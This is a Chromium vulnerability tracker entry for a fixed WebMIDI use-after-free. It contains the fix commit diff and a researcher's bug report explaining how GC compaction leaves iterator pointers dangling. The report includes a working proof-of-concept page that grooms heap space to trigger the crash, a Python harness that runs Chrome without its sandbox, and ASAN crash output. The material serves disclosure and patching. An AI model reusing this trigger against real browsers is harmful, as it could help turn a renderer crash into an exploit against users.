Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in WebMIDI
DescriptionUse after free in WebMIDI
ComponentWebMIDI
Bug ClassUAF
Tracker485935314
Fix commitc9b1a8741a48 (chromium/src) +11/-14
CISA KEVNot listed
Creditedc6eed09fc8b174b0f3eebedcceb1e792
Disclosed2026-03-10

Changed Functions

FunctionChangeNotes
MapIterationSource
third_party/blink/renderer/modules/webmidi/midi_port_map.h
modified

Files Changed

  • third_party/blink/renderer/modules/webmidi/midi_port_map.h
From c9b1a8741a48f379a60d9c8f052b20ffa1c5e901 Mon Sep 17 00:00:00 2001
From: Fredrik Söderquist <fs@opera.com>
Date: Thu, 26 Feb 2026 02:03:18 -0800
Subject: [PATCH] Store index instead of iterator in MIDIPortMap::MapIterationSource

This avoids keeping pointers into the backing store of the entries
Vector<>. As a bonus it's also more compact.

Fixed: 485935314
Change-Id: I841ea3d8332de7ed3e35e65ae5b6e9bdf16e09d9
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7606579
Reviewed-by: Takashi Toyoshima <toyoshim@chromium.org>
Commit-Queue: Fredrik Söderquist <fs@opera.com>
Cr-Commit-Position: refs/heads/main@{#1590718}
---

diff --git a/third_party/blink/renderer/modules/webmidi/midi_port_map.h b/third_party/blink/renderer/modules/webmidi/midi_port_map.h
index 0e0644d..380f8823 100644
--- a/third_party/blink/renderer/modules/webmidi/midi_port_map.h
+++ b/third_party/blink/renderer/modules/webmidi/midi_port_map.h
@@ -31,13 +31,10 @@
  private:
   // We use HeapVector here to keep the entry order.
   using Entries = HeapVector<Member<ValueType>>;
-  using IteratorType = typename base::CheckedContiguousIterator<
-      const typename Entries::ValueType>;
 
   typename PairSyncIterable<InterfaceType>::IterationSource*
   CreateIterationSource(ScriptState*) override {
-    return MakeGarbageCollected<MapIterationSource>(
-        this, entries_.CheckedBegin(), entries_.CheckedEnd());
+    return MakeGarbageCollected<MapIterationSource>(this);
   }
 
   bool GetMapEntry(ScriptState*,
@@ -59,19 +56,20 @@
   class MapIterationSource final
       : public PairSyncIterable<InterfaceType>::IterationSource {
    public:
-    MapIterationSource(MIDIPortMap<InterfaceType, ValueType>* map,
-                       IteratorType iterator,
-                       IteratorType end)
-        : map_(map), iterator_(iterator), end_(end) {}
+    explicit MapIterationSource(MIDIPortMap<InterfaceType, ValueType>* map)
+        : map_(map) {}
 
     bool FetchNextItem(ScriptState* script_state,
                        String& key,
                        ValueType*& value) override {
-      if (iterator_ == end_)
+      const Entries& entries = map_->entries_;
+      if (index_ == entries.size()) {
         return false;
-      key = (*iterator_)->id();
-      value = *iterator_;
-      ++iterator_;
+      }
+      auto& entry = entries[index_];
+      key = entry->id();
+      value = entry;
+      ++index_;
       return true;
     }
 
@@ -84,8 +82,7 @@
     // map_ is stored just for keeping it alive. It needs to be kept
     // alive while JavaScript holds the iterator to it.
     const Member<const MIDIPortMap<InterfaceType, ValueType>> map_;
-    IteratorType iterator_;
-    const IteratorType end_;
+    wtf_size_t index_ = 0;
   };
 
   const Entries entries_;
Loading diff…

Original Bug Report

reported by je...@gmail.com

Use-after-free in MIDIPortMap iterator due to untracked raw pointers surviving Oilpan compaction leads to renderer crash

Title

Use-after-free in MIDIPortMap iterator due to untracked raw pointers surviving Oilpan compaction leads to renderer crash

Summary

The MIDIPortMap template class in the Web MIDI API stores raw CheckedContiguousIterator pointers into an Oilpan HeapVector backing during iteration. When cppgc compaction relocates the backing store to defragment memory, these raw pointers are not updated and become dangling. Subsequent use of the iterator dereferences freed memory, resulting in a use-after-free that crashes the renderer process.

Bisect

Introducing Commit: 16a6a8178c1cf059527ebaef54fe32195b1f1c1f

Root Cause

The MIDIPortMap template class serves as the backing implementation for MIDIInputMap and MIDIOutputMap, which are maplike iterables exposed to JavaScript via the Web MIDI API. When JavaScript creates an iterator over one of these maps (for example by calling map.entries()), the CreateIterationSource method constructs a MapIterationSource object that captures two CheckedContiguousIterator values pointing directly into the entries_ HeapVector’s backing store.

// third_party/blink/renderer/modules/webmidi/midi_port_map.h
using Entries = HeapVector<Member<ValueType>>;
using IteratorType = typename base::CheckedContiguousIterator<
    const typename Entries::ValueType>;

typename PairSyncIterable<InterfaceType>::IterationSource*
CreateIterationSource(ScriptState*) override {
  return MakeGarbageCollected<MapIterationSource>(
      this, entries_.CheckedBegin(), entries_.CheckedEnd());
}

The MapIterationSource stores these iterators as plain member fields. Critically, these fields are raw pointers into the HeapVector backing and are not traced by the garbage collector.

// third_party/blink/renderer/modules/webmidi/midi_port_map.h
class MapIterationSource final
    : public PairSyncIterable<InterfaceType>::IterationSource {
 public:
  MapIterationSource(MIDIPortMap<InterfaceType, ValueType>* map,
                     IteratorType iterator,
                     IteratorType end)
      : map_(map), iterator_(iterator), end_(end) {}

  bool FetchNextItem(ScriptState* script_state,
                     String& key,
                     ValueType*& value) override {
    if (iterator_ == end_)
      return false;
    key = (*iterator_)->id();   // dereferences raw pointer into backing
    value = *iterator_;
    ++iterator_;
    return true;
  }

  void Trace(Visitor* visitor) const override {
    visitor->Trace(map_);       // only traces map_, NOT iterator_ or end_
    PairSyncIterable<InterfaceType>::IterationSource::Trace(visitor);
  }

 private:
  const Member<const MIDIPortMap<InterfaceType, ValueType>> map_;
  IteratorType iterator_;       // RAW POINTER — not traced, not registered as movable
  const IteratorType end_;      // RAW POINTER — not traced, not registered as movable
};

The HeapVector<Member<ValueType>> backing is allocated within the CompactableHeapVectorBackingSpace because Member<T> satisfies the kCanMoveWithMemcpy requirement. This is confirmed by the compaction traits and space trait specializations.

// third_party/blink/renderer/platform/heap/collection_support/heap_vector_backing.h
template <typename T>
struct CompactionTraits<blink::HeapVectorBacking<T>> {
  static constexpr bool SupportsCompaction() {
    return blink::HeapVectorBacking<T>::TraitsType::kCanMoveWithMemcpy;
  }
};

template <typename T>
  requires(blink::internal::CompactionTraits<
           blink::HeapVectorBacking<T>>::SupportsCompaction())
struct SpaceTrait<blink::HeapVectorBacking<T>> {
  using Space = blink::CompactableHeapVectorBackingSpace;
};

During cppgc compaction, the compactor slides live objects within compactable space pages to eliminate fragmentation. It uses a MovableReferences map to track all traced slots pointing to compactable objects and updates them after relocation. However, the iterator_ and end_ fields in MapIterationSource are not Member<T> pointers and are never registered as movable references during marking. When the backing is memcpy’d to a new address, these raw pointers still reference the old location, which is either freed or repurposed.

The cppgc compactor normally guards against compaction when JavaScript is on the stack, because stack-conservative scanning cannot precisely enumerate all raw pointers. The ShouldCompact function returns false when marking_type == kAtomic && stack_state == kMayContainHeapPointers.

// v8/src/heap/cppgc/compactor.cc
bool Compactor::ShouldCompact(GCConfig::MarkingType marking_type,
                              StackState stack_state) const {
  if (compactable_spaces_.empty() ||
      (marking_type == GCConfig::MarkingType::kAtomic &&
       stack_state == StackState::kMayContainHeapPointers)) {
    return false;
  }
  // ...
  size_t free_list_size = UpdateHeapResidency(compactable_spaces_);
  return free_list_size > kFreeListSizeThreshold;  // 512KB
}

However, this guard can be legitimately bypassed. When a GC cycle is finalized from a non-nestable task context (as opposed to being called directly from JavaScript), the embedder stack state is kNoHeapPointers because no JavaScript frames are on the call stack. The V8 gc() extension function, when invoked with execution: 'async', posts a non-nestable task that runs InvokeGC with StackState::kNoHeapPointers.

// v8/src/extensions/gc-extension.cc
void InvokeGC(v8::Isolate* isolate, const GCOptions gc_options) {
  Heap* heap = reinterpret_cast<Isolate*>(isolate)->heap();
  EmbedderStackStateScope stack_scope(
      heap,
      gc_options.execution == ExecutionType::kAsync
          ? EmbedderStackStateOrigin::kImplicitThroughTask
          : EmbedderStackStateOrigin::kExplicitInvocation,
      gc_options.execution == ExecutionType::kAsync
          ? StackState::kNoHeapPointers
          : StackState::kMayContainHeapPointers);
  // ...
}

In production, the same condition occurs naturally when V8’s incremental marking job finalizes a GC cycle from a non-nestable task posted by the IncrementalMarkingJob::ScheduleTask method. When NonNestableTasksEnabled() returns true (which it does for Blink’s task runners), the task runs with kNoHeapPointers and calls AdvanceAndFinalizeIfComplete, which can trigger mark-compact with compaction enabled. This means the vulnerability is exploitable without --expose-gc under the right allocation pressure and timing conditions.

The correct pattern for iterator state in the presence of compaction is to use an index rather than a raw pointer. The MediaKeyStatusMap implementation demonstrates this approach.

// third_party/blink/renderer/modules/encryptedmedia/media_key_status_map.cc
class MapIterationSource final
    : public PairSyncIterable<MediaKeyStatusMap>::IterationSource {
 public:
  MapIterationSource(MediaKeyStatusMap* map) : map_(map), current_(0) {}

  bool FetchNextItem(ScriptState* script_state,
                     V8BufferSource*& key,
                     V8MediaKeyStatus& value) override {
    if (current_ >= map_->size())
      return false;
    const auto& entry = map_->at(current_++);  // index-based, compaction-safe
    // ...
  }
};

Reproduce

The PoC requires a Linux system with virtual MIDI ports. Load the snd-virmidi kernel module to provide multiple MIDI ports. The PoC uses the --expose-gc flag to call gc() from JavaScript with async execution, which triggers cppgc compaction under controlled conditions.

Prerequisites:

sudo modprobe snd-virmidi midi_devs=4
pip install websocket-client

Place the following HTML file as poc_midi_uaf.html in the Chrome ASAN build output directory.

<!DOCTYPE html>
<html>
<body>
<pre id="log"></pre>
<script>
const logEl = document.getElementById('log');
function log(msg) {
  logEl.textContent += msg + '\n';
  console.log(msg);
}

async function poc() {
  log('=== MIDIPortMap Iterator Compaction UAF PoC ===');

  let access;
  try { access = await navigator.requestMIDIAccess(); }
  catch(e) { log('[-] ' + e.message); return; }

  const map = access.outputs.size >= 2 ? access.outputs :
              access.inputs.size >= 2 ? access.inputs : null;
  if (!map) { log('[-] Need >=2 ports'); return; }
  log('[+] map.size=' + map.size);

  // ==================================================
  // Phase 1: Populate CompactableHeapVectorBackingSpace free list (>512KB)
  //
  // querySelectorAll returns StaticNodeList which has HeapVector<Member<Node>>
  // The backing of this HeapVector goes into CompactableHeapVectorBackingSpace
  // We create many such lists, drop them, and gc to sweep into the free list
  // ==================================================
  log('[*] Phase 1: Creating HeapVector<Member<Node>> backings...');

  // Create 1000 div elements to match
  const container = document.createElement('div');
  document.body.appendChild(container);
  for (let i = 0; i < 1000; i++) {
    container.appendChild(document.createElement('div'));
  }

  // querySelectorAll('div') creates StaticNodeList with HeapVector<Member<Node>>
  // ~1000 nodes * 8 bytes/Member = ~8KB backing each
  // 200 lists * 8KB = ~1.6MB in CompactableHeapVectorBackingSpace
  {
    const lists = [];
    for (let i = 0; i < 200; i++) {
      lists.push(document.querySelectorAll('div'));
    }
    // Drop all references
    lists.length = 0;
  }

  // Remove the container too
  document.body.removeChild(container);

  // Sync gc to sweep dead StaticNodeLists into the free list
  if (typeof gc === 'function') {
    gc({type: 'major', execution: 'sync'});
    gc({type: 'major', execution: 'sync'});
  }
  log('[+] Free list should have >512KB in compactable space');

  // ==================================================
  // Phase 2: Attack loop
  // ==================================================
  const ATTEMPTS = 20;
  for (let attempt = 1; attempt <= ATTEMPTS; attempt++) {
    log('[*] Attempt ' + attempt + '/' + ATTEMPTS);

    // Create iterator, storing RAW POINTERS into HeapVector backing
    // MapIterationSource.iterator_ and .end_ point into entries_ backing
    const iter = map.entries();
    const first = iter.next();
    if (first.done) { log('[-] Empty'); break; }

    // Trigger async gc which runs in non-nestable task with kNoHeapPointers
    // Compaction enabled because:
    //   forced gc -> ShouldReduceMemory = true
    //   stack_state = kNoHeapPointers -> ShouldCompact passes
    //   free_list > 512KB -> compaction runs
    // Compaction moves HeapVector backings, updating Member<T> refs
    // but NOT the raw CheckedContiguousIterator pointers -> dangling!
    if (typeof gc === 'function') {
      await gc({type: 'major', execution: 'async'});
    }

    // Use iterator with potentially dangling pointers
    try {
      const second = iter.next();
      if (!second.done) {
        log('  [+] key=' + second.value[0].substring(0, 8) + '...');
      } else {
        log('  [?] done=true (possible corruption)');
      }
    } catch(e) {
      log('  [!] CRASH: ' + e);
    }

    // Replenish free list: create more HeapVector backings and discard them
    {
      const c2 = document.createElement('div');
      document.body.appendChild(c2);
      for (let i = 0; i < 500; i++) {
        c2.appendChild(document.createElement('div'));
      }
      const lists = [];
      for (let i = 0; i < 200; i++) {
        lists.push(document.querySelectorAll('div'));
      }
      lists.length = 0;
      document.body.removeChild(c2);
    }
    if (typeof gc === 'function') {
      gc({type: 'major', execution: 'sync'});
    }
  }

  log('');
  log('[*] All attempts completed');
  log('[*] Check stderr for ASAN reports');
  log('DONE');
}

poc().catch(e => log('[!] ' + e));
</script>
</body>
</html>

Place the following Python harness as run_midi_cdp.py in any directory. It launches headless Chrome with MIDI permissions pre-granted, connects via Chrome DevTools Protocol, and monitors for console output and crashes.

#!/usr/bin/env python3
import http.server, json, os, subprocess, sys, threading, time, urllib.request
import websocket

os.chdir("/path/to/chromium/src/out/asan-release")

# Setup
HTTP_PORT = 8795
CDP_PORT = 9235

# Clean profile
os.system("rm -rf /tmp/midi_cdp_profile")
os.makedirs("/tmp/midi_cdp_profile/Default", exist_ok=True)
with open("/tmp/midi_cdp_profile/Default/Preferences", "w") as f:
    json.dump({"profile":{"content_settings":{"exceptions":{
        "midi":{"*,*":{"setting":1}},
        "midi_sysex":{"*,*":{"setting":1}}
    },"defaults":{"midi":1,"midi_sysex":1}}}}, f)

# HTTP server
def serve():
    h = http.server.SimpleHTTPRequestHandler
    http.server.HTTPServer(("127.0.0.1", HTTP_PORT), h).serve_forever()
threading.Thread(target=serve, daemon=True).start()
print(f"[+] HTTP :{HTTP_PORT}")

# Chrome
url = f"http://127.0.0.1:{HTTP_PORT}/poc_midi_uaf.html"
proc = subprocess.Popen([
    "./chrome", "--headless", "--no-sandbox", "--disable-gpu",
    "--js-flags=--expose-gc",
    f"--remote-debugging-port={CDP_PORT}",
    "--remote-allow-origins=*",
    f"--user-data-dir=/tmp/midi_cdp_profile",
    "--no-first-run", url
], stderr=open("/tmp/midi_cdp_stderr.txt", "w"), stdout=subprocess.DEVNULL)
print(f"[+] Chrome PID={proc.pid}")

# Wait for DevTools
tabs = None
for _ in range(30):
    try:
        tabs = json.loads(urllib.request.urlopen(
            f"http://127.0.0.1:{CDP_PORT}/json").read())
        if tabs: break
    except: pass
    time.sleep(1)

if not tabs:
    print("[-] No DevTools"); proc.kill(); sys.exit(1)

tab = next((t for t in tabs if "poc_midi" in t.get("url","")), tabs[0])
print(f"[+] Tab: {tab['url'][:80]}")

ws = websocket.create_connection(tab["webSocketDebuggerUrl"], timeout=5)
ws.send(json.dumps({"id":1,"method":"Runtime.enable"}))

# Also grant permission via CDP as backup
ws.send(json.dumps({"id":2,"method":"Browser.setPermission",
    "params":{"permission":{"name":"midi"},"setting":"granted",
              "origin":f"http://127.0.0.1:{HTTP_PORT}"}}))

deadline = time.time() + 240
done = False
while time.time() < deadline:
    try:
        ws.settimeout(3)
        r = json.loads(ws.recv())
        m = r.get("method","")
        if m == "Runtime.consoleAPICalled":
            text = " ".join(str(a.get("value","")) for a in r["params"]["args"])
            print(f"[C] {text}", flush=True)
            if "DONE" in text or "Fatal" in text:
                done = True; time.sleep(3); break
        elif m == "Inspector.targetCrashed":
            print("[!!!] CRASH!"); done = True; break
    except websocket.WebSocketTimeoutException:
        continue
    except Exception as e:
        print(f"[!] {e}"); break

if not done: print("[-] Timeout")

ws.close()
proc.terminate()
try: proc.wait(10)
except: proc.kill(); proc.wait(5)

# Check ASAN
with open("/tmp/midi_cdp_stderr.txt") as f:
    err = f.read()
print(f"\n[*] stderr: {len(err)} bytes")

asan_real = [l for l in err.split("\n")
             if "AddressSanitizer" in l and "CONSOLE" not in l]
if asan_real:
    print("\n[!!!] ASAN REPORT!")
    capture = False
    for l in err.split("\n"):
        if "==" in l and ("ERROR" in l or "AddressSanitizer" in l) and "CONSOLE" not in l:
            capture = True
        if capture:
            print(l)
            if "SUMMARY" in l: break
else:
    print("[-] No ASAN UAF")

Run:

sudo modprobe snd-virmidi midi_devs=4
python3 run_midi_cdp.py

ASAN output:

[+] HTTP :8795
[+] Chrome PID=1818971
[+] Tab: http://127.0.0.1:8795/poc_midi_uaf.html
[C] === MIDIPortMap Iterator Compaction UAF PoC ===
[C] [+] map.size=5
[C] [*] Phase 1: Creating HeapVector<Member<Node>> backings...
[C] [+] Free list should have >512KB in compactable space
[C] [*] Attempt 1/20
[C]   [+] key=67251C5E...
[C] [*] Attempt 2/20
[C]   [+] key=67251C5E...
[C] [*] Attempt 3/20
[C]   [+] key=67251C5E...
[C] [*] Attempt 4/20
[C]   [+] key=67251C5E...
[C] [*] Attempt 5/20
[C]   [+] key=67251C5E...
[C] [*] Attempt 6/20
[!!!] CRASH!

[*] stderr: 11499 bytes

[!!!] ASAN REPORT!
==1819069==ERROR: AddressSanitizer: use-after-poison on address 0x7b2c0044f1ac at pc 0x7f43748ecff4 bp 0x7fff4b033a70 sp 0x7fff4b033a68
READ of size 4 at 0x7b2c0044f1ac thread T0 (chrome)
    #0 0x7f43748ecff3 in Load v8/include/cppgc/internal/member-storage.h:92:58
    #1 0x7f43748ecff3 in GetRaw v8/include/cppgc/member.h:53:54
    #2 0x7f43748ecff3 in Get v8/include/cppgc/member.h:271:52
    #3 0x7f43748ecff3 in operator-> v8/include/cppgc/member.h:259:44
    #4 0x7f43748ecff3 in blink::MIDIPortMap<blink::MIDIOutputMap, blink::MIDIOutput>::MapIterationSource::FetchNextItem(blink::ScriptState*, blink::String&, blink::MIDIOutput*&) third_party/blink/renderer/modules/webmidi/midi_port_map.h:72:13
    #5 0x7f43748ec40d in blink::bindings::PairSyncIterationSource<blink::IDLStringBase<(blink::bindings::IDLStringConvMode)0>, blink::MIDIOutput, blink::String, blink::MIDIOutput*>::Next(blink::ScriptState*, blink::bindings::SyncIteratorBase::Kind) third_party/blink/renderer/bindings/core/v8/iterable.h:65:10
    #6 0x7f43729fefea in blink::(anonymous namespace)::v8_sync_iterator_midi_output_map::NextOperationCallback(v8::FunctionCallbackInfo<v8::Value> const&) gen/third_party/blink/renderer/bindings/modules/v8/v8_sync_iterator_midi_output_map.cc:83:39
    #7 0x7b42f7dd06a3  (<unknown module>)
    #8 0x7b42d80012d5  (<unknown module>)
    #9 0x7b42f7e135ed  (<unknown module>)
    #10 0x7b42f7f016a9  (<unknown module>)
    #11 0x7b42f7e01392  (<unknown module>)
    #12 0x7b42f7dcb52a  (<unknown module>)
    #13 0x7f437a124394 in Call v8/src/execution/simulator.h:216:12
    #14 0x7f437a124394 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) v8/src/execution/execution.cc:460:41
    #15 0x7f437a126499 in v8::internal::(anonymous namespace)::InvokeWithTryCatch(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) v8/src/execution/execution.cc:502:18
    #16 0x7f437a12689f in v8::internal::Execution::TryRunMicrotasks(v8::internal::Isolate*, v8::internal::MicrotaskQueue*) v8/src/execution/execution.cc:606:10
    #17 0x7f437a1ce6ec in v8::internal::MicrotaskQueue::RunMicrotasks(v8::internal::Isolate*) v8/src/execution/microtask-queue.cc:185:22
    #18 0x7f437a1d0380 in PerformCheckpointInternal v8/src/execution/microtask-queue.cc:129:3
    #19 0x7f437a1d0380 in v8::internal::MicrotaskQueue::PerformCheckpoint(v8::Isolate*) v8/src/execution/microtask-queue.h:48:5
    #20 0x7f4381b9e4cf in blink::scheduler::EventLoop::PerformMicrotaskCheckpoint() third_party/blink/renderer/platform/scheduler/common/event_loop.cc:80:21
    #21 0x7f4381bd4d86 in blink::scheduler::AgentGroupSchedulerImpl::PerformMicrotaskCheckpoint() third_party/blink/renderer/platform/scheduler/main_thread/agent_group_scheduler_impl.cc:117:12
    #22 0x7f4381c1829a in blink::scheduler::MainThreadSchedulerImpl::PerformMicrotaskCheckpoint() third_party/blink/renderer/platform/scheduler/main_thread/main_thread_scheduler_impl.cc:1349:28
    #23 0x7f4381c29e4f in blink::scheduler::MainThreadSchedulerImpl::OnTaskCompleted(base::WeakPtr<blink::scheduler::MainThreadTaskQueue>, base::sequence_manager::Task const&, base::sequence_manager::TaskQueue::TaskTiming*, base::LazyNow*) third_party/blink/renderer/platform/scheduler/main_thread/main_thread_scheduler_impl.cc:2687:3
    #24 0x7f4381c49c79 in blink::scheduler::MainThreadTaskQueue::OnTaskCompleted(base::sequence_manager::Task const&, base::sequence_manager::TaskQueue::TaskTiming*, base::LazyNow*) third_party/blink/renderer/platform/scheduler/main_thread/main_thread_task_queue.cc:140:29
    #25 0x7f4381c4d606 in base::RepeatingCallback<void (base::sequence_manager::Task const&, base::sequence_manager::TaskQueue::TaskTiming*, base::LazyNow*)>::Run(base::sequence_manager::Task const&, base::sequence_manager::TaskQueue::TaskTiming*, base::LazyNow*) const & base/functional/callback.h:343:12
    #26 0x7f43dc5862e0 in base::sequence_manager::internal::SequenceManagerImpl::NotifyDidProcessTask(base::sequence_manager::internal::SequenceManagerImpl::ExecutingTask*, base::LazyNow*) base/task/sequence_manager/sequence_manager_impl.cc:852:35
    #27 0x7f43dc585ee3 in base::sequence_manager::internal::SequenceManagerImpl::DidRunTask(base::LazyNow&) base/task/sequence_manager/sequence_manager_impl.cc:602:3
    #28 0x7f43dc5e22ff in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:491:37
    #29 0x7f43dc5e1146 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
    #30 0x7f43dc4033f1 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:42:55
    #31 0x7f43dc5e37e8 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:650:12
    #32 0x7f43dc4cb002 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
    #33 0x7f43d20025e5 in content::RendererMain(content::MainFunctionParams) content/renderer/renderer_main.cc:364:16
    #34 0x7f43d2434c27 in content::RunZygote(content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:664:14
    #35 0x7f43d2435dee in content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::MainFunctionParams, content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:771:12
    #36 0x7f43d243834a in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:1150:10
    #37 0x7f43d2432ad3 in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) content/app/content_main.cc:358:36
    #38 0x7f43d2432e5a in content::ContentMain(content::ContentMainParams) content/app/content_main.cc:371:10
    #39 0x55f830018f15 in ChromeMain chrome/app/chrome_main.cc:191:12
    #40 0x7f436be29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

Address 0x7b2c0044f1ac is a wild pointer inside of access range of size 0x000000000004.
SUMMARY: AddressSanitizer: use-after-poison v8/include/cppgc/internal/member-storage.h:92:58 in Load

The crash occurs at frame 4 inside MIDIPortMap::MapIterationSource::FetchNextItem, confirming that the raw iterator_ pointer references memory that was poisoned by ASAN after the compactor relocated the HeapVector backing to a new address.

Credit

Please use c6eed09fc8b174b0f3eebedcceb1e792 as the credit for this vulnerability. Thank you.

View on issue tracker